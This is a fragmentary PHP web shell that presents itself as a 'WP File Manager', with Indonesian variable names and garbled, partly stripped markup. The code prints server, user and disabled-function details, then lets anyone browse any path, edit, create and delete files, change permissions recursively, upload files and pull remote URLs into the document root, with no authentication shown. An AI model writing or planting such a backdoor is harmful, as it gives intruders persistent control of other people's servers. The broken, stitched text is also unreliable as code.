| 📁 " . $dir . " | |||
| " . $icon . " " . $file . " |
??????????????????????????????? ??????????????????????????????? ??????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>. ??????????????????????????????? ??????????????????????????????? ??????????????????????????????? ??????????????????????????????? ??????????????????????????????? ??????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
|
NONE"; } else { $disf = "".$disfunc.""; } function author() { echo " WP File Manager ".$text." ".$text." ".$text." ';
$html .= ' ';
return $html;
}
$html .= '';
$html .= ' ';
$html .= '📝 Edit File: ' . htmlspecialchars($file_name) . ''; $html .= '';
$html .= '📁 Path: ' . htmlspecialchars($file_path) . '';
$html .= '📊 Size: ' . formatSize(filesize($file_path)) . '';
$html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . '';
$html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . '';
$html .= ' ';
if ($is_binary) {
$html .= '';
$html .= '⚠️ This is a binary file and cannot be edited in the text editor. ';
$html .= ''; $html .= 'View File'; $html .= ' ';
$html .= ' Saved';
$html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . '';
$html .= ' ';
$html .= '';
$html .= '';
// JavaScript for editor
$html .= '';
return $html;
}
// CHMOD Interface
function chmodInterface($path, $is_dir = false) {
$current_perms = substr(sprintf('%o', fileperms($path)), -4);
$perms_array = str_split($current_perms);
$html = '';
$html .= ' ';
// JavaScript for CHMOD interface
$html .= '';
return $html;
}
echo "Server : ".$_SERVER['SERVER_SOFTWARE']."';
$html .= ' ';
$html .= '🔒 Change Permissions'; $html .= '';
$html .= '📁 Path: ' . htmlspecialchars($path) . '';
$html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . '';
$html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')';
$html .= ' ';
$html .= '';
$html .= '"; echo "System : ".php_uname()." "; echo "User : ".@get_current_user()." ( ".@getmyuid().") "; echo "PHP Version : ".@phpversion()." "; echo "Disable Function : ".$disf." "; echo "Directory : "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo ' | |
'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo ' ← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = " ⚠️ File already exists! Overwriting... Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . " 📄 File: " . htmlspecialchars($filename) . " 📊 Size: " . $file_size . " 📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = " ⚠️ File already exists! Overwriting... Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . " 📄 File: " . htmlspecialchars($remote_filename) . " 📊 Size: " . $file_size . " 📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo ' ← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
|
Path: " . htmlspecialchars($file_path) . "
"; echo "Size: " . formatSize(filesize($file_path)) . "
"; echo "Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "
"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "";
echo htmlspecialchars(file_get_contents($file_path));
echo "";
} else {
echo "| 📁 " . $dir . " | |||
| " . $icon . " " . $file . " |